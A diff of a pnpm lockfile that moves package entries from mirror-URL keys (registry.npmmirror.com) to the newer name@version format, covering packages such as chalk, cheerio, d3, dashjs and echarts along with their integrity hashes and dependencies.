tarball: https://registry.npmmirror.com/callsites/-/callsites-3.1.0.tgz} - name: callsites - version: 3.1.0 - engines: {node: '>=6'} + d3-array: 3.2.4 dev: true - registry.npmmirror.com/caniuse-lite/1.0.30001431: - resolution: {integrity: sha512-zBUoFU0ZcxpvSt9IU66dXVT/3ctO1cy4y9cscs1szkPlcWb6pasYM144GqrUygUbT+k7cmUCW61cvskjcv0enQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/caniuse-lite/-/caniuse-lite-1.0.30001431.tgz} - name: caniuse-lite - version: 1.0.30001431 + /d3-timer@3.0.1: + resolution: {integrity: sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/chalk/2.4.2: - resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz} - name: chalk - version: 2.4.2 - engines: {node: '>=4'} + /d3-transition@3.0.1(d3-selection@3.0.0): + resolution: {integrity: sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==} + engines: {node: '>=12'} + peerDependencies: + d3-selection: 2 - 3 dependencies: - ansi-styles: registry.npmmirror.com/ansi-styles/3.2.1 - escape-string-regexp: registry.npmmirror.com/escape-string-regexp/1.0.5 - supports-color: registry.npmmirror.com/supports-color/5.5.0 + d3-color: 3.1.0 + d3-dispatch: 3.0.1 + d3-ease: 3.0.1 + d3-interpolate: 3.0.1 + d3-selection: 3.0.0 + d3-timer: 3.0.1 dev: true - registry.npmmirror.com/chalk/4.1.2: - resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz} - name: chalk - version: 4.1.2 - engines: {node: '>=10'} + /d3-zoom@3.0.0: + resolution: {integrity: sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==} + engines: {node: '>=12'} dependencies: - ansi-styles: registry.npmmirror.com/ansi-styles/4.3.0 - supports-color: registry.npmmirror.com/supports-color/7.2.0 + d3-dispatch: 3.0.1 + d3-drag: 3.0.0 + d3-interpolate: 3.0.1 + d3-selection: 3.0.0 + d3-transition: 3.0.1(d3-selection@3.0.0) dev: true - registry.npmmirror.com/chalk/5.1.2: - resolution: {integrity: sha512-E5CkT4jWURs1Vy5qGJye+XwCkNj7Od3Af7CP6SujMetSMkLs8Do2RWJK5yx1wamHV/op8Rz+9rltjaTQWDnEFQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/chalk/-/chalk-5.1.2.tgz} - name: chalk - version: 5.1.2 - engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} + /d3@7.8.5: + resolution: {integrity: sha512-JgoahDG51ncUfJu6wX/1vWQEqOflgXyl4MaHqlcSruTez7yhaRKR9i8VjjcQGeS2en/jnFivXuaIMnseMMt0XA==} + engines: {node: '>=12'} + dependencies: + d3-array: 3.2.4 + d3-axis: 3.0.0 + d3-brush: 3.0.0 + d3-chord: 3.0.1 + d3-color: 3.1.0 + d3-contour: 4.0.2 + d3-delaunay: 6.0.2 + d3-dispatch: 3.0.1 + d3-drag: 3.0.0 + d3-dsv: 3.0.1 + d3-ease: 3.0.1 + d3-fetch: 3.0.1 + d3-force: 3.0.0 + d3-format: 3.1.0 + d3-geo: 3.0.1 + d3-hierarchy: 3.1.2 + d3-interpolate: 3.0.1 + d3-path: 3.0.1 + d3-polygon: 3.0.1 + d3-quadtree: 3.0.1 + d3-random: 3.0.1 + d3-scale: 4.0.2 + d3-scale-chromatic: 3.0.0 + d3-selection: 3.0.0 + d3-shape: 3.1.0 + d3-time: 3.0.0 + d3-time-format: 4.1.0 + d3-timer: 3.0.1 + d3-transition: 3.0.1(d3-selection@3.0.0) + d3-zoom: 3.0.0 + dev: true + + /dagre-d3-es@7.0.10: + resolution: {integrity: sha512-qTCQmEhcynucuaZgY5/+ti3X/rnszKZhEQH/ZdWdtP1tA/y3VoHJzcVrO9pjjJCNpigfscAtoUB5ONcd2wNn0A==} + dependencies: + d3: 7.8.5 + lodash-es: 4.17.21 + dev: true + + /dargs@7.0.0: + resolution: {integrity: sha512-2iy1EkLdlBzQGvbweYRFxmFath8+K7+AKB0TlhHWkNuH+TmovaMH/Wp7V7R4u7f4SnX3OgLsU9t1NI9ioDnUpg==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/chart.js/4.0.1: - resolution: {integrity: sha512-5/8/9eBivwBZK81mKvmIwTb2Pmw4D/5h1RK9fBWZLLZ8mCJ+kfYNmV9rMrGoa5Hgy2/wVDBMLSUDudul2/9ihA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/chart.js/-/chart.js-4.0.1.tgz} - name: chart.js - version: 4.0.1 - engines: {pnpm: ^7.0.0} + /dashjs@4.7.1: + resolution: {integrity: sha512-RPUqJGjR4lXrApHfNOd9G6885q8GpQ4rWecYBMdJjXCtnM8sNg9bhqic3Jl0bTgR0Xzl7Jd86qRc1YZbq1wjPw==} + dependencies: + bcp-47-match: 1.0.3 + bcp-47-normalize: 1.1.1 + codem-isoboxer: 0.3.9 + es6-promise: 4.2.8 + fast-deep-equal: 2.0.1 + html-entities: 1.4.0 + imsc: 1.1.3 + localforage: 1.10.0 + path-browserify: 1.0.1 + ua-parser-js: 1.0.35 dev: true - registry.npmmirror.com/cheerio-select/1.6.0: - resolution: {integrity: sha512-eq0GdBvxVFbqWgmCm7M3XGs1I8oLy/nExUnh6oLqmBditPO9AqQJrkslDpMun/hZ0yyTs8L0m85OHp4ho6Qm9g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cheerio-select/-/cheerio-select-1.6.0.tgz} - name: cheerio-select - version: 1.6.0 - dependencies: - css-select: registry.npmmirror.com/css-select/4.3.0 - css-what: registry.npmmirror.com/css-what/6.1.0 - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/4.3.1 - domutils: registry.npmmirror.com/domutils/2.8.0 + /dayjs@1.11.9: + resolution: {integrity: sha512-QvzAURSbQ0pKdIye2txOzNaHmxtUBXerpY0FJsFXUMKbIZeFm5ht1LS/jFsrncjnmtv8HsG0W2g6c0zUjZWmpA==} dev: true - registry.npmmirror.com/cheerio-select/2.1.0: - resolution: {integrity: sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cheerio-select/-/cheerio-select-2.1.0.tgz} - name: cheerio-select - version: 2.1.0 + /debug@4.3.4: + resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true dependencies: - boolbase: registry.npmmirror.com/boolbase/1.0.0 - css-select: registry.npmmirror.com/css-select/5.1.0 - css-what: registry.npmmirror.com/css-what/6.1.0 - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/5.0.3 - domutils: registry.npmmirror.com/domutils/3.0.1 + ms: 2.1.2 dev: true - registry.npmmirror.com/cheerio/1.0.0-rc.10: - resolution: {integrity: sha512-g0J0q/O6mW8z5zxQ3A8E8J1hUgp4SMOvEoW/x84OwyHKe/Zccz83PVT4y5Crcr530FV6NgmKI1qvGTKVl9XXVw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0-rc.10.tgz} - name: cheerio - version: 1.0.0-rc.10 - engines: {node: '>= 6'} + /decamelize-keys@1.1.0: + resolution: {integrity: sha512-ocLWuYzRPoS9bfiSdDd3cxvrzovVMZnRDVEzAs+hWIVXGDbHxWMECij2OBuyB/An0FFW/nLuq6Kv1i/YC5Qfzg==} + engines: {node: '>=0.10.0'} dependencies: - cheerio-select: registry.npmmirror.com/cheerio-select/1.6.0 - dom-serializer: registry.npmmirror.com/dom-serializer/1.4.1 - domhandler: registry.npmmirror.com/domhandler/4.3.1 - htmlparser2: registry.npmmirror.com/htmlparser2/6.1.0 - parse5: registry.npmmirror.com/parse5/6.0.1 - parse5-htmlparser2-tree-adapter: registry.npmmirror.com/parse5-htmlparser2-tree-adapter/6.0.1 - tslib: registry.npmmirror.com/tslib/2.3.0 + decamelize: 1.2.0 + map-obj: 1.0.1 dev: true - registry.npmmirror.com/cheerio/1.0.0-rc.12: - resolution: {integrity: sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0-rc.12.tgz} - name: cheerio - version: 1.0.0-rc.12 - engines: {node: '>= 6'} - dependencies: - cheerio-select: registry.npmmirror.com/cheerio-select/2.1.0 - dom-serializer: registry.npmmirror.com/dom-serializer/2.0.0 - domhandler: registry.npmmirror.com/domhandler/5.0.3 - domutils: registry.npmmirror.com/domutils/3.0.1 - htmlparser2: registry.npmmirror.com/htmlparser2/8.0.1 - parse5: registry.npmmirror.com/parse5/7.1.1 - parse5-htmlparser2-tree-adapter: registry.npmmirror.com/parse5-htmlparser2-tree-adapter/7.0.0 + /decamelize@1.2.0: + resolution: {integrity: sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/chokidar/3.5.3: - resolution: {integrity: sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/chokidar/-/chokidar-3.5.3.tgz} - name: chokidar - version: 3.5.3 - engines: {node: '>= 8.10.0'} + /decode-named-character-reference@1.0.2: + resolution: {integrity: sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==} dependencies: - anymatch: registry.npmmirror.com/anymatch/3.1.2 - braces: registry.npmmirror.com/braces/3.0.2 - glob-parent: registry.npmmirror.com/glob-parent/5.1.2 - is-binary-path: registry.npmmirror.com/is-binary-path/2.1.0 - is-glob: registry.npmmirror.com/is-glob/4.0.3 - normalize-path: registry.npmmirror.com/normalize-path/3.0.0 - readdirp: registry.npmmirror.com/readdirp/3.6.0 - optionalDependencies: - fsevents: registry.npmmirror.com/fsevents/2.3.2 + character-entities: 2.0.2 dev: true - registry.npmmirror.com/cli-cursor/4.0.0: - resolution: {integrity: sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cli-cursor/-/cli-cursor-4.0.0.tgz} - name: cli-cursor - version: 4.0.0 - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - dependencies: - restore-cursor: registry.npmmirror.com/restore-cursor/4.0.0 + /dedent@0.7.0: + resolution: {integrity: sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==} dev: true - registry.npmmirror.com/cli-spinners/2.6.1: - resolution: {integrity: sha512-x/5fWmGMnbKQAaNwN+UZlV79qBLM9JFnJuJ03gIi5whrob0xV0ofNVHy9DhwGdsMJQc2OKv0oGmLzvaqvAVv+g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cli-spinners/-/cli-spinners-2.6.1.tgz} - name: cli-spinners - version: 2.6.1 - engines: {node: '>=6'} + /deepmerge@4.2.2: + resolution: {integrity: sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/clone/1.0.4: - resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/clone/-/clone-1.0.4.tgz} - name: clone - version: 1.0.4 - engines: {node: '>=0.8'} + /defaults@1.0.3: + resolution: {integrity: sha512-s82itHOnYrN0Ib8r+z7laQz3sdE+4FP3d9Q7VLO7U+KRT+CR0GsWuyHxzdAY82I7cXv0G/twrqomTJLOssO5HA==} + dependencies: + clone: 1.0.4 dev: true - registry.npmmirror.com/color-convert/1.9.3: - resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz} - name: color-convert - version: 1.9.3 + /define-properties@1.1.4: + resolution: {integrity: sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==} + engines: {node: '>= 0.4'} dependencies: - color-name: registry.npmmirror.com/color-name/1.1.3 + has-property-descriptors: 1.0.0 + object-keys: 1.1.1 dev: true - registry.npmmirror.com/color-convert/2.0.1: - resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz} - name: color-convert - version: 2.0.1 - engines: {node: '>=7.0.0'} + /delaunator@5.0.0: + resolution: {integrity: sha512-AyLvtyJdbv/U1GkiS6gUUzclRoAY4Gs75qkMygJJhU75LW4DNuSF2RMzpxs9jw9Oz1BobHjTdkG3zdP55VxAqw==} dependencies: - color-name: registry.npmmirror.com/color-name/1.1.4 + robust-predicates: 3.0.1 dev: true - registry.npmmirror.com/color-name/1.1.3: - resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz} - name: color-name - version: 1.1.3 + /dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/color-name/1.1.4: - resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz} - name: color-name - version: 1.1.4 + /detect-file@1.0.0: + resolution: {integrity: sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/commander/2.20.3: - resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/commander/-/commander-2.20.3.tgz} - name: commander - version: 2.20.3 + /detect-indent@6.0.0: + resolution: {integrity: sha512-oSyFlqaTHCItVRGK5RmrmjB+CmaMOW7IaNA/kdxqhoa6d17j/5ce9O9eWXmV/KEdRwqpQA+Vqe8a8Bsybu4YnA==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/commander/6.2.1: - resolution: {integrity: sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/commander/-/commander-6.2.1.tgz} - name: commander - version: 6.2.1 - engines: {node: '>= 6'} + /diff@4.0.2: + resolution: {integrity: sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==} + engines: {node: '>=0.3.1'} dev: true - registry.npmmirror.com/commander/7.2.0: - resolution: {integrity: sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/commander/-/commander-7.2.0.tgz} - name: commander - version: 7.2.0 - engines: {node: '>= 10'} + /diff@5.1.0: + resolution: {integrity: sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==} + engines: {node: '>=0.3.1'} dev: true - registry.npmmirror.com/commander/8.3.0: - resolution: {integrity: sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/commander/-/commander-8.3.0.tgz} - name: commander - version: 8.3.0 - engines: {node: '>= 12'} + /dijkstrajs@1.0.3: + resolution: {integrity: sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==} dev: true - registry.npmmirror.com/commander/9.2.0: - resolution: {integrity: sha512-e2i4wANQiSXgnrBlIatyHtP1odfUp0BbV5Y5nEGbxtIrStkEOAAzCUirvLBNXHLr7kwLvJl6V+4V3XV9x7Wd9w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/commander/-/commander-9.2.0.tgz} - name: commander - version: 9.2.0 - engines: {node: ^12.20.0 || >=14} + /dir-glob@3.0.1: + resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} + engines: {node: '>=8'} + dependencies: + path-type: 4.0.0 dev: true - registry.npmmirror.com/common-tags/1.8.2: - resolution: {integrity: sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/common-tags/-/common-tags-1.8.2.tgz} - name: common-tags - version: 1.8.2 - engines: {node: '>=4.0.0'} + /dom-serializer@2.0.0: + resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==} + dependencies: + domelementtype: 2.3.0 + domhandler: 5.0.3 + entities: 4.4.0 dev: true - registry.npmmirror.com/concat-map/0.0.1: - resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz} - name: concat-map - version: 0.0.1 + /domelementtype@2.3.0: + resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==} dev: true - registry.npmmirror.com/connect-history-api-fallback/2.0.0: - resolution: {integrity: sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz} - name: connect-history-api-fallback - version: 2.0.0 - engines: {node: '>=0.8'} + /domhandler@5.0.3: + resolution: {integrity: sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==} + engines: {node: '>= 4'} + dependencies: + domelementtype: 2.3.0 dev: true - registry.npmmirror.com/convert-source-map/1.8.0: - resolution: {integrity: sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/convert-source-map/-/convert-source-map-1.8.0.tgz} - name: convert-source-map - version: 1.8.0 - dependencies: - safe-buffer: registry.npmmirror.com/safe-buffer/5.1.2 + /dompurify@3.0.3: + resolution: {integrity: sha512-axQ9zieHLnAnHh0sfAamKYiqXMJAVwu+LM/alQ7WDagoWessyWvMSFyW65CqF3owufNu8HBcE4cM2Vflu7YWcQ==} dev: true - registry.npmmirror.com/core-js-compat/3.22.5: - resolution: {integrity: sha512-rEF75n3QtInrYICvJjrAgV03HwKiYvtKHdPtaba1KucG+cNZ4NJnH9isqt979e67KZlhpbCOTwnsvnIr+CVeOg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/core-js-compat/-/core-js-compat-3.22.5.tgz} - name: core-js-compat - version: 3.22.5 + /domutils@3.0.1: + resolution: {integrity: sha512-z08c1l761iKhDFtfXO04C7kTdPBLi41zwOZl00WS8b5eiaebNpY00HKbztwBq+e3vyqWNwWF3mP9YLUeqIrF+Q==} dependencies: - browserslist: registry.npmmirror.com/browserslist/4.21.4 - semver: registry.npmmirror.com/semver/7.0.0 + dom-serializer: 2.0.0 + domelementtype: 2.3.0 + domhandler: 5.0.3 dev: true - registry.npmmirror.com/cose-base/1.0.3: - resolution: {integrity: sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cose-base/-/cose-base-1.0.3.tgz} - name: cose-base - version: 1.0.3 + /dot-prop@5.3.0: + resolution: {integrity: sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==} + engines: {node: '>=8'} dependencies: - layout-base: registry.npmmirror.com/layout-base/1.0.2 + is-obj: 2.0.0 dev: true - registry.npmmirror.com/cose-base/2.1.0: - resolution: {integrity: sha512-HTMm07dhxq1dIPGWwpiVrIk9n+DH7KYmqWA786mLe8jDS+1ZjGtJGIIsJVKoseZXS6/FxiUWCJ2B7XzqUCuhPw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cose-base/-/cose-base-2.1.0.tgz} - name: cose-base - version: 2.1.0 + /echarts@5.4.2: + resolution: {integrity: sha512-2W3vw3oI2tWJdyAz+b8DuWS0nfXtSDqlDmqgin/lfzbkB01cuMEN66KWBlmur3YMp5nEDEEt5s23pllnAzB4EA==} dependencies: - layout-base: registry.npmmirror.com/layout-base/2.0.1 + tslib: 2.3.0 + zrender: 5.4.3 dev: true - registry.npmmirror.com/cross-spawn/7.0.3: - resolution: {integrity: sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.3.tgz} - name: cross-spawn - version: 7.0.3 - engines: {node: '>= 8'} + /ejs@3.1.7: + resolution: {integrity: sha512-BIar7R6abbUxDA3bfXrO4DSgwo8I+fB5/1zgujl3HLLjwd6+9iOnrT+t3grn2qbk9vOgBubXOFwX2m9axoFaGw==} + engines: {node: '>=0.10.0'} + hasBin: true dependencies: - path-key: registry.npmmirror.com/path-key/3.1.1 - shebang-command: registry.npmmirror.com/shebang-command/2.0.0 - which: registry.npmmirror.com/which/2.0.2 + jake: 10.8.5 dev: true - registry.npmmirror.com/crypto-random-string/2.0.0: - resolution: {integrity: sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/crypto-random-string/-/crypto-random-string-2.0.0.tgz} - name: crypto-random-string - version: 2.0.0 - engines: {node: '>=8'} + /electron-to-chromium@1.4.454: + resolution: {integrity: sha512-pmf1rbAStw8UEQ0sr2cdJtWl48ZMuPD9Sto8HVQOq9vx9j2WgDEN6lYoaqFvqEHYOmGA9oRGn7LqWI9ta0YugQ==} dev: true - registry.npmmirror.com/css-select/4.3.0: - resolution: {integrity: sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/css-select/-/css-select-4.3.0.tgz} - name: css-select - version: 4.3.0 - dependencies: - boolbase: registry.npmmirror.com/boolbase/1.0.0 - css-what: registry.npmmirror.com/css-what/6.1.0 - domhandler: registry.npmmirror.com/domhandler/4.3.1 - domutils: registry.npmmirror.com/domutils/2.8.0 - nth-check: registry.npmmirror.com/nth-check/2.1.1 + /elkjs@0.8.2: + resolution: {integrity: sha512-L6uRgvZTH+4OF5NE/MBbzQx/WYpru1xCBE9respNj6qznEewGUIfhzmm7horWWxbNO2M0WckQypGctR8lH79xQ==} dev: true - registry.npmmirror.com/css-select/5.1.0: - resolution: {integrity: sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/css-select/-/css-select-5.1.0.tgz} - name: css-select - version: 5.1.0 - dependencies: - boolbase: registry.npmmirror.com/boolbase/1.0.0 - css-what: registry.npmmirror.com/css-what/6.1.0 - domhandler: registry.npmmirror.com/domhandler/5.0.3 - domutils: registry.npmmirror.com/domutils/3.0.1 - nth-check: registry.npmmirror.com/nth-check/2.1.1 + /emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} dev: true - registry.npmmirror.com/css-what/6.1.0: - resolution: {integrity: sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/css-what/-/css-what-6.1.0.tgz} - name: css-what - version: 6.1.0 - engines: {node: '>= 6'} + /encode-utf8@1.0.3: + resolution: {integrity: sha512-ucAnuBEhUK4boH2HjVYG5Q2mQyPorvv0u/ocS+zhdw0S8AlHYY+GOFhP1Gio5z4icpP2ivFSvhtFjQi8+T9ppw==} dev: true - registry.npmmirror.com/csstype/2.6.20: - resolution: {integrity: sha512-/WwNkdXfckNgw6S5R125rrW8ez139lBHWouiBvX8dfMFtcn6V81REDqnH7+CRpRipfYlyU1CmOnOxrmGcFOjeA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/csstype/-/csstype-2.6.20.tgz} - name: csstype - version: 2.6.20 + /entities@3.0.1: + resolution: {integrity: sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==} + engines: {node: '>=0.12'} dev: true - registry.npmmirror.com/cytoscape-cose-bilkent/4.1.0_cytoscape@3.23.0: - resolution: {integrity: 